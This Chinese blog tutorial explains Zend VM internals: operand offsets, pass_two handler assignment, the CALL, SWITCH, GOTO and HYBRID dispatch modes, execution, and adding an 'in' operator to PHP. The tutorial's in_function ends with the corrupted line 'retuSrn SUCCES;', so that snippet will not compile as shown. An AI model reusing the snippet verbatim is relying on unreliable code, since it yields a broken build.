在这里2个简单字符串的连接并没有再去编译一条opline,而是在编译过程直接调用相应的二进制处理函数,直接把连接好的字符串返回,和连接的字符串一样,+-*/|&^%<<>>**通过这些运算符的简单运算也是有相应的二进制处理函数。所以在这里其实是把连接之后"hellomaple"添加到了字面量数组。

还有TMP_VAR 和VAR类型操作数的编译,TMP_VAR操作数出现在比如,字符串连接,当然简单的字符串连接是没有中间变量的,比如'maple'.$a这样的情况下结果的返回值类型会被编译成TMP_VAR。TMP_VAR和VAR类型其实很容易弄混,这里其实好理解,TMP_VAR是在计算过程出现的临时变量。通常情况下带返回值的每一条opline的返回值类型都是VAR类型,返回值你可以决定用还是不用。比如函数调用的返回值类型,判断语句的返回值类型,简单的赋值语句的返回值类型都是VAR类型,VAR就是相当于隐式的php变量。在这里不用纠结所有情况下的操作数类型的判断,在具体的过程中你能判断即可。

还有关于VAR和TMP_VAR类型操作数的值和CV类型的操作数值一样都是偏移量,但是在这里前者两个类型的操作数的偏移不是地址偏移量,而是以此次出现的顺序递增作为偏移量,即0,1,2,3,4....这样的形式。下一个处理过程会把递增数值再转换成具体的内存偏移地址。聪明的你有想过为什么会这样做吗?是因为当CV变量,TMP_VAR,VAR都分配在zend_execute_data结果的末尾,有一个顺序所有CV变量在前依次分配,而后才是TMP_VAR,VAR这些变量,如果你在这一步就以具体地址偏移量作为除CV变量以外的值,这里会造成交叉。编译器不知道究竟有多少个CV变量,难道当出现一个CV变量就把已经存在的TMP_VAR,VAR这些变量依次往后移吗?这样做的效率太差,所以这一步只保存递增的数值,当初步完成编译整个抽象语法树之后,知道了到底有多少个CV变量,然后在最后一个CV变量的末尾依次分配。

在编译抽象语法树的过程中最主要的就是确定操作数和具体的处理函数。下面接着讲关于每一条opcode对应的处理函数。根据前面的目标,我们对整个指令集其实已经了解的差不多了,现在需要探究每一条指令集的解释过程即对应handler处理函数。这一过程在pass_two()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
ZEND_API int pass_two(zend_op_array *op_array)
{
...
if (CG(context).vars_size != op_array->last_var) {
op_array->vars = (zend_string**) erealloc(op_array->vars, sizeof(zend_string*)*op_array->last_var);
CG(context).vars_size = op_array->last_var;
} //这一步主要是用来在分配CV变量的变量名数组。

...
if (op_array->literals) {
memcpy(((char*)op_array->opcodes) + ZEND_MM_ALIGNED_SIZE_EX(sizeof(zend_op) * op_array->last, 16),
op_array->literals, sizeof(zval) * op_array->last_literal);
efree(op_array->literals);
op_array->literals = (zval*)(((char*)op_array->opcodes) + ZEND_MM_ALIGNED_SIZE_EX(sizeof(zend_op) * op_array->last, 16));
}//这一步用来分配存储字面量的数组

...
op_array->fn_flags |= ZEND_ACC_DONE_PASS_TWO; //标志此op_array已经经过pass_two处理了

...
opline = op_array->opcodes;
end = opline + op_array->last;
while (opline < end) { //遍历每一条opline,为其添加handler。
switch (opline->opcode) {
case ZEND_RECV_INIT:
{
zval *val = CT_CONSTANT(opline->op2);
if (Z_TYPE_P(val) == IS_CONSTANT_AST) {
uint32_t slot = ZEND_MM_ALIGNED_SIZE_EX(op_array->cache_size, 8);
Z_CACHE_SLOT_P(val) = slot;
op_array->cache_size += sizeof(zval);
}
}
break;
case ZEND_FAST_CALL:
opline->op1.opline_num = op_array->try_catch_array[opline->op1.num].finally_op;
ZEND_PASS_TWO_UPDATE_JMP_TARGET(op_array, opline, opline->op1);
break;
case ZEND_BRK:
case ZEND_CONT:
...
if (opline->op1_type == IS_CONST) {
ZEND_PASS_TWO_UPDATE_CONSTANT(op_array, opline, opline->op1);
} else if (opline->op1_type & (IS_VAR|IS_TMP_VAR)) {
opline->op1.var = (uint32_t)(zend_intptr_t)ZEND_CALL_VAR_NUM(NULL, op_array->last_var + opline->op1.var);
}//将操作数按照不同类型转换成内存的偏移地址。

前面我忘记说到CONST类型的操作数的值应该怎么确定,CONST类型的字面量会被储存到op_array->literals中,所以CONST类型的操作数的值为字面量数组中的下标。因为字面量的值不同于其他类型变量的值,并不是储存在zend_execute_data的结尾,在ZEND_PASS_TWO_UPDATE_CONSTANT这里两只转化方式,第一种是相对于当前opline的偏移地址:((char *)((op_array)->literals + (num)))-((char*)opline)),第二种是直接用 (opline->op).zv直接存储字面量zval变量地址。不同之处是前一种是64位系统的处理方式,而后一种是32为系统的处理方式。为什么可以用在64位系统上用相对寻址,这就需要去看看php内核里面内存的管理了。有兴趣的同学可以由此继续跟下去。

同样前面说到过的,这里用ZEND_CALL_VAR_NUM将TMP_VAR和VAR操作数的值也转换成内存地址的偏移量。接着具体看ZEND_VM_SET_OPCODE_HANDLER为opline添加handler的具体过程:

1
2
3
4
5
6
ZEND_API void ZEND_FASTCALL zend_vm_set_opcode_handler(zend_op* op)
{
zend_uchar opcode = zend_user_opcodes[op->opcode]; //opcode不变
...
op->handler = zend_vm_get_opcode_handler_ex(zend_spec_handlers[opcode], op);
}

zend_spec_handlers是一个用来保存单个opcode对应的起始handler在zend_opcode_handler的位置和该opcode可以接受的操作数的个数如下:

1
2
3
4
5
6
7
8
static const uint32_t specs[] = {
0,
1 | SPEC_RULE_OP1 | SPEC_RULE_OP2,
26 | SPEC_RULE_OP1 | SPEC_RULE_OP2,
51 | SPEC_RULE_OP1 | SPEC_RULE_OP2 | SPEC_RULE_COMMUTATIVE,
76 | SPEC_RULE_OP1 | SPEC_RULE_OP2,
101 | SPEC_RULE_OP1 | SPEC_RULE_OP2,
...

拿到可以接受操作数的个数和opcode对应的其实handler位置,计算出实际处理handler。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static const void* ZEND_FASTCALL zend_vm_get_opcode_handler_ex(uint32_t spec, const zend_op* op)
{
static const int zend_vm_decode[] = {
_UNUSED_CODE, /* 0 = IS_UNUSED */
_CONST_CODE, /* 1 = IS_CONST */
_TMP_CODE, /* 2 = IS_TMP_VAR */
_UNUSED_CODE, /* 3 */
_VAR_CODE, /* 4 = IS_VAR */
_UNUSED_CODE, /* 5 */
_UNUSED_CODE, /* 6 */
_UNUSED_CODE, /* 7 */
_CV_CODE /* 8 = IS_CV */
};
uint32_t offset = 0;
if (spec & SPEC_RULE_OP1) offset = offset * 5 + zend_vm_decode[op->op1_type];
if (spec & SPEC_RULE_OP2) offset = offset * 5 + zend_vm_decode[op->op2_type];

一个opcode对应的handler种类和它可以接受的操作数有关。操作数类型一共5种如上,最多一个opcode可能有两个操作数,每个操作数最多有5种类型,就出现25种不一样的形式的op1和op2 的对应关系。上述就是根据对应关系计算到handler偏移的方法,首先得根据操作数类型做一个映射把0->3, 1->0, 2->1, 4->2, 8->4。然后再根据操作数的个数,类型计算出实际处理函数的偏移量。

1
2
...
return zend_opcode_handlers[(spec & SPEC_START_MASK) + offset];

zend_opcode_handlers这个数组保存的并不是处理函数,而是标签。由此引出对应的handler的生成和调度问题。

0x05 Handler 的生成和调度

仔细想一想大概存在200种 不同类型的opcode,如果两个操作数的对应关系也按25算。那么一共应该有5000个handler。实际上没那多,但也是极其庞大的handler处理结构。ZendVM里面对于handler的处理全部定义在zend_vm_execute.h 中,这个文件其实是自动生成的,通过同级目录下的zend_vm_gen.php生成。庞大的handler分支,从生成到调度,这两个过程是分不开的。一种生成方法对应一种调度方法。生成handler的过程基本都一样,生成handler可以为内联,也可以以函数的形式来调用。为什么需要根据操作数类型把一个处理函数分成一个个只能接受指定类型的操作数的handler呢?为什么不直接写一个handler然后在里面判断操作数的类型不就行了?如果只通过一个opcode对应一个handler,那么必然要在这个handler里面对操作数类型进行判断。必然存在大量的if else这样的判断语句,判断语句本质上对应着地址的跳转,根据操作数类型就需要做大量的判断,可能就需要24次,这里就提到一个概念叫分支预测,虽然我们可以在写ifesle判断语句的时候,可以把经常出现的对应关系往前写,提高命中率,但是还是无法准确的预知操作数类型的对应关系。所以把一个处理函数分成多个处理函数,把这些处理函数的标志放在一张表里面,通过映射直接获取单个处理函数,相对于一次跳转到对应的处理函数上。在php_vm_gen.php生成使用调度方法一共有4种:

  • CALL
  • SWITCH
  • GOTO
  • HYBRID

CALL类型的调度方法是把单个handler封装成函数,进行调用:

1
2
3
4
5
6
7
8
9
10
11
12
ZEND_API void execute_ex(zend_execute_data *ex)
{
LOAD_OPLINE();
ZEND_VM_LOOP_INTERRUPT_CHECK();

while (1) {
int ret ;
ret = ((opcode_handler_t)OPLINE->handler)(ZEND_OPCODE_HANDLER_ARGS_PASSTHRU);

}
//zend_error_noreturn(E_CORE_ERROR, "Arrived at end of main loop which shouldn't happen");
}

这种情况下handler指向的是处理函数,这个处理的函数作用包括具体的处理过程和处理完成之后让当前的opline指向下一条。在这里说一下当前的execute_data 中opline的指向,在编译的时候进行了优化,将指定一个全局的寄存器变量去保存当前opline的地址,同样当前的execute_data也会用一个寄存器变量来保存。在不同的架构上可能使用的寄存器不同。

1
2
3
4
5
6
# elif defined(__GNUC__) && ZEND_GCC_VERSION >= 4008 && defined(__x86_64__)
# define ZEND_VM_FP_GLOBAL_REG "%r14"
# define ZEND_VM_IP_GLOBAL_REG "%r15"

register zend_execute_data* volatile execute_data __asm__(ZEND_VM_FP_GLOBAL_REG);
register const zend_op* volatile opline __asm__(ZEND_VM_IP_GLOBAL_REG);

本文上用r14来保存execute_data,用r15来保存当前的opline。所以在进行gdb调试的时候你并不能直接打印这两个值,你需要去引用一下这个两个寄存器上相对应的变量的地址。当使用全局的寄存器变量来保存execute_data的时候,在调用相应处理函数的时候,就不需要再传递。具体看ZEND_OPCODE_HANDLER_ARGS_PASSTHRU这个宏定义。在Call调用下可能存在调用handler处理函数可能不会立即返回,而是继续在该handler里面调用下一条opline的处理函数。

SWITCH 是最容易生成的一种调度方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ZEND_API void execute_ex(zend_execute_data *ex)
{
LOAD_OPLINE();
ZEND_VM_LOOP_INTERRUPT_CHECK();

while (1) {
zend_vm_continue:
dispatch_handler = OPLINE->handler;
zend_vm_dispatch:
switch((int)(uintptr_t)dispatch_handler){
case 0:
//处理过程
ZEND_VM_NEXT_OPCODE(); //opline ++ && goto zend_vm_contiune
case 1:
...
}

}
//zend_error_noreturn(E_CORE_ERROR, "Arrived at end of main loop which shouldn't happen");
}

处理过程内嵌在每一个case语句里面,opline中handler保存是case的节点信息,生成这种调用方式非常简单,只需要一个顺序的映射表就行。但是这里又用写了一次switch,switch语句的效率和多个分支的if语句效率基本是相当的,不利于分支预测,每次的switch都可能跳转到任意一个case节点上,而且至少都有上千的case的分支。

GOTO相当于把Call里面的handler都写成了内联的形式,且handler之间的切换用goto来完成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ZEND_API void execute_ex(zend_execute_data *ex)
{
LOAD_OPLINE();
ZEND_VM_LOOP_INTERRUPT_CHECK();

while (1) {
goto *(void**)(OPLINE->handler);
{$spec_name}_LABEL: ZEND_VM_GUARD($spec_name);
{

}
{$spec_name}_LABEL: ZEND_VM_GUARD($spec_name);
{

}
...
}
//zend_error_noreturn(E_CORE_ERROR, "Arrived at end of main loop which shouldn't happen");
}

标签的地址是可以这样void *ptr = &&label; goto *ptr;用变量来表示。这样可以定义一个标签地址的数组作为映射表,opline->handler保存相应标签地址。在这里也不存在if这样的判断语句,从第一个goto开始到handler处理完成再进行goto,执行每一个goto位置都是不一样的,所以这里可以根据每一个goto进行单独的分支预测,可以把每次跳转范围减少到一个比较小的范围,提高了预测的精度。

HYBRID是7.2版本才出来的一种优化后的混合调用方式,是CALL和GOTO的结合。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
ZEND_API void execute_ex(zend_execute_data *ex)
{
LOAD_OPLINE();
ZEND_VM_LOOP_INTERRUPT_CHECK();

while (1) {
HYBRID_SWITCH() { //goto *(void**)(OPLINE->handler)
HYBRID_CASE(ZEND_JMP_SPEC):/*op ## _LABEL*/
VM_TRACE(ZEND_JMP_SPEC)
ZEND_JMP_SPEC_HANDLER(ZEND_OPCODE_HANDLER_ARGS_PASSTHRU);
HYBRID_BREAK();//goto *(void**)(OPLINE->handler)
HYBRID_CASE(ZEND_DO_ICALL_SPEC_RETVAL_UNUSED):/*op ## _LABEL*/
VM_TRACE(ZEND_DO_ICALL_SPEC_RETVAL_UNUSED)
ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER(ZEND_OPCODE_HANDLER_ARGS_PASSTHRU);
HYBRID_BREAK();//goto *(void**)(OPLINE->handler)
...
HYBRID_CASE(ZEND_RETURN_SPEC_CONST):
VM_TRACE(ZEND_RETURN_SPEC_CONST)
{
USE_OPLINE
zval *retval_ptr;
zval *return_value;
zend_free_op free_op1;

retval_ptr = RT_CONSTANT(opline, opline->op1);
return_value = EX(return_value);
if (IS_CONST == IS_CV && UNEXPECTED(Z_TYPE_INFO_P(retval_ptr) == IS_UNDEF)) {
....
goto zend_leave_helper_SPEC_LABEL;
}
}
//zend_error_noreturn(E_CORE_ERROR, "Arrived at end of main loop which shouldn't happen");
}

你看到的是在分支的选择上用的goto,handler的表现形式是有函数调用也有内联,如果把所有的函数调用都换成内联的形式,其实就是goto的调用方法。在HYBRID这个模式里面如果你看到handler定义为ZEND_VM_HOT,其实就是内联函数体。

以上四种生成不同VM模式,既然是用zend_vm_gen.php生成的VM,如果我们想要添加新的handler就需要去zend_vm_def.h 定义新handler,现在来看一看定义新handler的格式,如下为echo的handler定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ZEND_VM_HANDLER(40, ZEND_ECHO, CONST|TMPVAR|CV, ANY)
{
USE_OPLINE
zend_free_op free_op1;
zval *z;
SAVE_OPLINE();
z = GET_OP1_ZVAL_PTR_UNDEF(BP_VAR_R);
if (Z_TYPE_P(z) == IS_STRING) {
zend_string *str = Z_STR_P(z);
if (ZSTR_LEN(str) != 0) {
zend_write(ZSTR_VAL(str), ZSTR_LEN(str));
}
} else {
zend_string *str = zval_get_string_func(z);
if (ZSTR_LEN(str) != 0) {
zend_write(ZSTR_VAL(str), ZSTR_LEN(str));
} else if (OP1_TYPE == IS_CV && UNEXPECTED(Z_TYPE_P(z) == IS_UNDEF)) {
GET_OP1_UNDEF_CV(z, BP_VAR_R);
}
zend_string_release_ex(str, 0);
}
FREE_OP1();
ZEND_VM_NEXT_OPCODE_CHECK_EXCEPTION();
}

标志的handler定义需要使用ZEND_VM_HANDLER作为起始,括号里面的参数分别为,opcode整数值,opcode常量,操作数1类型,操作数2类型,可能还存在一个参数为分割的flag参数。有时候会在操作数类型里面看到其他不一样的操作数类型,比如NEXT,ANY,THIS等等,其实这些并不是操作数类型,相当于flag额外的属性,并不参加操作数1和操作数2的笛卡尔集的对应关系。

handler定义里面还有类似GET_OP1_ZVAL_PTR_UNDEF这样的取值标记,在这里我们不用考虑不同操作数的取值方法,zend_vm_gen.php在内部做了映射,会根据不同的操作数类型替换这样的标记,如下:

1
2
3
4
5
6
7
8
9
10
$op1_get_zval_ptr_undef = array(
"ANY" => "get_zval_ptr_undef(opline->op1_type, opline->op1, &free_op1, \\1)",
"TMP" => "_get_zval_ptr_tmp(opline->op1.var, &free_op1 EXECUTE_DATA_CC)",
"VAR" => "_get_zval_ptr_var(opline->op1.var, &free_op1 EXECUTE_DATA_CC)",
"CONST" => "RT_CONSTANT(opline, opline->op1)",
"UNUSED" => "NULL",
"CV" => "EX_VAR(opline->op1.var)",
"TMPVAR" => "_get_zval_ptr_var(opline->op1.var, &free_op1 EXECUTE_DATA_CC)",
"TMPVARCV" => "EX_VAR(opline->op1.var)",
);

如果想看更多定义的替换规则,可以去看zend_vm_gen.php文件里面靠前的位置。可能有时候会看见类型下面的判断语句

1
2
3
4
5
6
7
8
9
10
11
if (IS_CV == IS_VAR && UNEXPECTED(Z_ISERROR_P(variable_ptr))) {
if (UNEXPECTED(0)) {
ZVAL_NULL(EX_VAR(opline->result.var));
}
} else {
value = zend_assign_to_variable(variable_ptr, value, IS_CONST);
if (UNEXPECTED(0)) {
ZVAL_COPY(EX_VAR(opline->result.var), value);
}
/* zend_assign_to_variable() always takes care of op2, never free it! */
}

IS_CV==IS_VAR这种奇怪的条件,这是因为zend_vm_gen.php在生成handler的时候是直接替换的操作数类型。 if (OP1_TYPE == IS_VAR && UNEXPECTED(Z_ISERROR_P(variable_ptr))) {,就造成了这种情况,是无用的判断条件,在编译的时候编译器会自行优化掉这些判断条件,所以并不造成影响。

VM的生成到调用,需要掌握的是怎样是去定义或者修改正确的handler,让zend_vm_gen.php能正常的处理,指定相应的调度方式,最终生成zend_vm_execute.h。这过程需要自己去实践才能明白一条可用的handler是怎样生成的。

终于handler的分配到这里也结束了,在pass_two结束遍历所有的oplines,前面整个编译过程就结束了,接下来就是进入执行过程。整个VM的执行过程都是zend_vm_execute.h生成的,通过填充zend_vm_execute.skl里面相关函数,生成完整的zend_execute(),execute_ex()

0x06 执行过程

进入zend_execute

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ZEND_API void zend_execute(zend_op_array *op_array, zval *return_value)
{
zend_execute_data *execute_data;

if (EG(exception) != NULL) {
return;
}

execute_data = zend_vm_stack_push_call_frame(ZEND_CALL_TOP_CODE | ZEND_CALL_HAS_SYMBOL_TABLE,
(zend_function*)op_array, 0, zend_get_called_scope(EG(current_execute_data)), zend_get_this_object(EG(current_execute_data)));//初始化execute_data,在vm栈上分配execute_data的大小
if (EG(current_execute_data)) {
execute_data->symbol_table = zend_rebuild_symbol_table(); //设置符号表
} else {
execute_data->symbol_table = &EG(symbol_table);
}
EX(prev_execute_data) = EG(current_execute_data);//保存的execute_data 上下的调用关系
i_init_code_execute_data(execute_data, op_array, return_value);
zend_execute_ex(execute_data);//执行
zend_vm_stack_free_call_frame(execute_data);
}

execute_data相当于处理当前op_array的context上下文,当前context里面的CV变量,临时变量均分配在execute_data结尾。

zend_execute_ex = execute_ex;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ZEND_API void execute_ex(zend_execute_data *ex)
{
DCL_OPLINE

#ifdef ZEND_VM_IP_GLOBAL_REG
const zend_op *orig_opline = opline;
#endif
#ifdef ZEND_VM_FP_GLOBAL_REG
zend_execute_data *orig_execute_data = execute_data;
execute_data = ex;
#else
zend_execute_data *execute_data = ex;
#endif
LOAD_OPLINE(); // opline = EX(opline)
ZEND_VM_LOOP_INTERRUPT_CHECK();
while(1){
//遍历oplines,顺序处理
}

这里具体的调用handler的过程上面已经将的差不多了,这里看看返回的过程,返回的标志是RETURN,相应的handler会根据操作数1的不同类型将返回值zval赋值给EX(return_value),最后会跳转到下面的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
zend_leave_helper_SPEC_LABEL:
zend_execute_data *old_execute_data;
uint32_t call_info = EX_CALL_INFO();
if (EXPECTED((call_info & (ZEND_CALL_CODE|ZEND_CALL_TOP|ZEND_CALL_HAS_SYMBOL_TABLE|ZEND_CALL_FREE_EXTRA_ARGS|ZEND_CALL_ALLOCATED)) == 0)) {
...
}else if(EXPECTED((call_info & (ZEND_CALL_CODE|ZEND_CALL_TOP)) == 0)) {
...
}else if (EXPECTED((call_info & ZEND_CALL_TOP) == 0)) {
..
}else {
if (EXPECTED((call_info & ZEND_CALL_CODE) == 0)) {
...
}else{
zend_array *symbol_table = EX(symbol_table);
zend_detach_symbol_table(execute_data);
old_execute_data = EX(prev_execute_data);
while (old_execute_data) {
if (old_execute_data->func && (ZEND_CALL_INFO(old_execute_data) & ZEND_CALL_HAS_SYMBOL_TABLE)) {
if (old_execute_data->symbol_table == symbol_table) {
zend_attach_symbol_table(old_execute_data);
}
break;
}
old_execute_data = old_execute_data->prev_execute_data;
}
EG(current_execute_data) = EX(prev_execute_data);
ZEND_VM_RETURN();
}

这里通过判断调用者的信息决定如何返回。调用者信息有下面几种,除了开始"main" op_array的execute_data调用,其他几种都是涉及到切换execute_data,切换的时候会创建新的execute_data。最后分支是main execute_data的返回,其中zend_detach_symbol_table是清理execute_data末尾的CV和临时变量。

1
2
3
4
5
6
typedef enum _zend_call_kind {
ZEND_CALL_NESTED_FUNCTION, /* stackless VM call to function 自定义php函数 即用户代码*/
ZEND_CALL_NESTED_CODE, /* stackless VM call to include/require/eval 文件包含 */
ZEND_CALL_TOP_FUNCTION, /* direct VM call to function from external C code 内置函数*/
ZEND_CALL_TOP_CODE /* direct VM call to "main" code from external C code mian函数*/
} zend_call_kind;

最后execute_ex返回,再调用zend_vm_stack_free_call_frame()释放掉execute_data。这里不是真正的释放,而是把相应的内存归还给Zend 的内存池,避免频繁的申请和释放。有兴趣的同学可以去看看Zend的内存管理。

到这里ZendVM编译和执行过程也就差不多介绍个大概,其实还有很多细节值得推敲。比如opcode缓存,opcode 的优化等等,关于opcode缓存和php7.4 alpha1的新特性FFI应该是我下一篇文章,在写本文的时候,恰巧也是php7.4 alpha1 release的时候,只感觉php变得很快,越来越不局限于Web的专属语言了。

0x7 牛刀小试

说了这么多,你们可能也想试一试如何去增加一个新的php语法,这里我将通过一个简单的例子描述这一过程。其实通过前面基础介绍从 词法扫描->语法分析->抽象语法树->oplines->zend_execute 这已基本过程也应该了解了。现在我们添加一个 关于in的语法 ,在JavaScript里面 in 作为运算符用来判断指定的属性是否在指定的对象或其原型链中,返回值为bool类型,同样在python里面也有in运算符,使用于字符串和字典运算。字典类似于php里面的数组,js 和 python 的in运算符应用于string in ['b','a','c']这样运算的时候,js判断是数组的key值 ,而python关注的value值,类似于php的in_array。这里我们添加一个比较简单的语法用in来代替strpos

最终的效果应该是

1
2
3
var_dump('maple' in 'hello , maple'); //int(8)
var_dump(1 in '11111'); //bool(false)
var_dump('' in 'maple'); //bool(false)

这里in两边表达式不进行弱类型转化,如strpos一样,应该都为字符串类型。一步一步来。

  1. 首先需要在词法扫描的时候碰到"in" 返回 'T_IN';
  2. T_IN 作为运算符和+-*/%这些运算符意义相同,应该出现在表达式里面。

先完成第一步re2c扫描的时候,遇到"in",返回token,需要在zend_language_scanner.l中lex_scan()中添加相应的正则匹配规则。

1
2
3
<ST_IN_SCRIPTING>"in" {
RETURN_TOKEN(T_IN);
}

这里有同学可能会问应该放在什么位置,在这里其实放在任意位置都行,只要在/*!re2c内就行,因为这里不存在冲突,存在一个include规则,但是re2c在处理匹配的相同字符串的规则的时候,是优先取长的。所以includein并不冲突。

然后去zend_language_parser.y去定义一下T_IN相关语法。

1
2
3
4
5
6
%token T_IN 	"in (T_IN)"//首先定义T_IN,放在定义token的末尾就行。
expr:
...
|expr T_IN expr { $$ = zend_ast_create_binary_op(ZEND_IN, $1, $3); }
...//添加一下具体的语法规则,左右两边为表达式。后面的ast节点建立后面再说。
;

引入token和定义相关语法,其实还需要做一些事情,否则bison还是无法处理。比如

1
'stra' in 'strb'  && 1

这种情况下究竟是 ('stra' in 'strb' ) && 1 还是'stra' in ('strb' && 1),会导致bison无法处理。所以这里我们还需要定义in的优先级。再比如下面

1
'stra' in 'strb' in 'strc'

究竟是('stra' in 'strb') in 'strc'还是'stra' in ('strb' in 'strc')呢?这里需要定义结合性。结核性好考虑%left 即可。

再考虑优先级应该放在什么位置

1
2
3
4
'stra' in 'strb'  && 1 // 应该为下面的情况
('stra' in 'strb' ) && 1 // 即应该放在 %left T_BOOLEAN_AND 后面
'stra' in 'strb'.'strc' //
'stra' in ('strb'.'strc') //应该 %left '+' '-' '.' 之前

&&+-.之间的token如下

1
2
3
4
5
6
7
8
%left T_BOOLEAN_AND
%left '|'
%left '^'
%left '&'
%nonassoc T_IS_EQUAL T_IS_NOT_EQUAL T_IS_IDENTICAL T_IS_NOT_IDENTICAL T_SPACESHIP
%nonassoc '<' T_IS_SMALLER_OR_EQUAL '>' T_IS_GREATER_OR_EQUAL
%left T_SL T_SR
%left '+' '-' '.'

应该在大于号小于号 之后,而又应该在位运算符之前之后都行。我放在了位运算后面,这里in两边的表达式应该为字符串类型,不适用于位运算。所以这里插入位置如下

1
2
3
%left T_SL T_SR
%left T_IN
%left '+' '-' '.'

便完成了语法分析的修改。接着关于in语法节点的建立。我们可以看一下其他简单运算符的建立的过程。

1
2
3
4
5
6
7
8
9
|	expr '|' expr	{ $$ = zend_ast_create_binary_op(ZEND_BW_OR, $1, $3); }
| expr '&' expr { $$ = zend_ast_create_binary_op(ZEND_BW_AND, $1, $3); }
| expr '^' expr { $$ = zend_ast_create_binary_op(ZEND_BW_XOR, $1, $3); }
| expr '.' expr { $$ = zend_ast_create_binary_op(ZEND_CONCAT, $1, $3); }
| expr '+' expr { $$ = zend_ast_create_binary_op(ZEND_ADD, $1, $3); }
| expr '-' expr { $$ = zend_ast_create_binary_op(ZEND_SUB, $1, $3); }
| expr '*' expr { $$ = zend_ast_create_binary_op(ZEND_MUL, $1, $3); }
| expr T_POW expr { $$ = zend_ast_create_binary_op(ZEND_POW, $1, $3); }

都通过zend_ast_create_binary_op来建立节点,其实建立是一个ZEND_AST_BINARY_OP类型的节点,然后将该节点attr设置为相应的opcode,我们再去看一下关于ZEND_AST_BINARY_OP节点编译成opcode的过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void zend_compile_expr(znode *result, zend_ast *ast) /* {{{ */
{
...
switch (ast->kind) {
case ZEND_AST_BINARY_OP:
zend_compile_binary_op(result, ast);
...
}
}

//接着zend_compile_binary_op
void zend_compile_binary_op(znode *result, zend_ast *ast) /* {{{ */
{
zend_ast *left_ast = ast->child[0];//取出左右expr节点
zend_ast *right_ast = ast->child[1];
uint32_t opcode = ast->attr;//相应的opcode zend_add zend_sub ....

znode left_node, right_node;
zend_compile_expr(&left_node, left_ast); //递归处理可能存在的嵌套表达式
zend_compile_expr(&right_node, right_ast);

if (left_node.op_type == IS_CONST && right_node.op_type == IS_CONST) { //一步优化,上面也提到过
if (zend_try_ct_eval_binary_op(&result->u.constant, opcode,//如果是两边表达式节点都是字面量,直接调用内置的二进制处理函数,返回结果,并不会再根据opcode生成opline。
&left_node.u.constant, &right_node.u.constant)
) {
result->op_type = IS_CONST;
zval_ptr_dtor(&left_node.u.constant);
zval_ptr_dtor(&right_node.u.constant);
return;
}
}

这里我们先把如果 in 两边是字面量的处理过程写出来,例如'aaaaaaa' in 'bbbbbbbb',所以这里我们需要去添加相应的内置函数来处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static inline zend_bool zend_try_ct_eval_binary_op(zval *result, uint32_t opcode, zval *op1, zval *op2) /* {{{ */
{
binary_op_type fn = get_binary_op(opcode);
...
}


ZEND_API binary_op_type get_binary_op(int opcode)
{
switch (opcode) {
case ZEND_ADD:
case ZEND_ASSIGN_ADD:
return (binary_op_type) add_function;
case ZEND_SUB:
case ZEND_ASSIGN_SUB:
return (binary_op_type) sub_function;
case ZEND_MUL:
case ZEND_ASSIGN_MUL:
...
}

这里我们需要添加 ZEND_IN的case分支如下

1
2
3
4
5
6
...
case ZEND_IN:
return (binary_op_type) in_function;
default:
return (binary_op_type) NULL;
...

接着去定义in_function,在zend_operators.c中,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
ZEND_API int ZEND_FASTCALL in_function(zval *result, zval *op1, zval *op2) /* {{{ */
{
const char *found = NULL;
if (Z_TYPE_P(op2) == IS_STRING){
if (!Z_STRLEN_P(op2)) {
ZVAL_FALSE(result);
}else{
if(Z_TYPE_P(op1) == IS_STRING ){
if(!Z_STRLEN_P(op1)){
ZVAL_FALSE(result);
}else{
found = (char*)zend_memnstr(Z_STRVAL_P(op2),
Z_STRVAL_P(op1),
Z_STRLEN_P(op1),
Z_STRVAL_P(op2) + Z_STRLEN_P(op2));
//ZVAL_LONG(result,found-Z_STRVAL_P(op2));
}
}else{
ZVAL_FALSE(result);
}
}
}else{
ZVAL_FALSE(result);
}
if(found){
ZVAL_LONG(result,found-Z_STRVAL_P(op2));
}else{
ZVAL_FALSE(result);
}
retuSrn SUCCES;
}

改函数实现了strpos不带offset的功能。记得还要去zend_vm_opcodes.h去定义一下新添加的ZEND_IN.使用bison重新预处理一下zend_language_parser.y,同样也需要使用re2c重新处理一下zend_language_scanner.l。重新编译整个php。你就会看到预期in左右两边字面量的新语法。接着还有'a' in $a,'a' in foo(),就需要使用zend_vm_gen.php 去生成相对应的handler。有兴趣的同学可以去接着深入,这里的东西再怎么陈述,你终究会有一些不懂的地方。

0x08 写在最后

终于php的编译和执行到此就结束了,从前到后其实就是在不断的重新编译php,然后配合gdb。很多人觉得庞大的代码很难入手,其实把大致逻辑梳理一遍,再针对性的看,也不是很难下手,原希望这篇文章作为一篇基础的入门级文章送给那些渴求一探php内部奥秘的朋友,不在某一个细节上过于深究,留下可探究的点,供大家参考。如果大家能从此篇学到一些东西,那我这一段时间就没用白费 :)。同时送给大家一段我看见挺正确的话:

我觉得韩天峰有句话说的很对,技术栈上,PHP 只是 C 的一个开发效率提升的补充,资深的高级 PHP 程序员,很多时候都是很好的 C 程序员(参考鸟哥),C 对于 PHP 不是后门,是基石。PHP 极早期很多函数就是对 C 的一些简单封装,你可以看下 PHP4 时代遗留下来的东西,很多有很重的 C 痕迹,PHP5 拥抱 oop 不是和 Java 学,而是跟着语言发展潮流走,拥抱开发方式的发展和变化,但是发展到现在,有人觉得弄出 laravel 那种花式封装的就是高级 PHP 程序员了,其实离真的高级资深 PHP 程序员还远着十万八千里。

关于Chrome Devtools Protocol中 Network模块对Redirect的处理

Network.requestIntercepted for Redirect

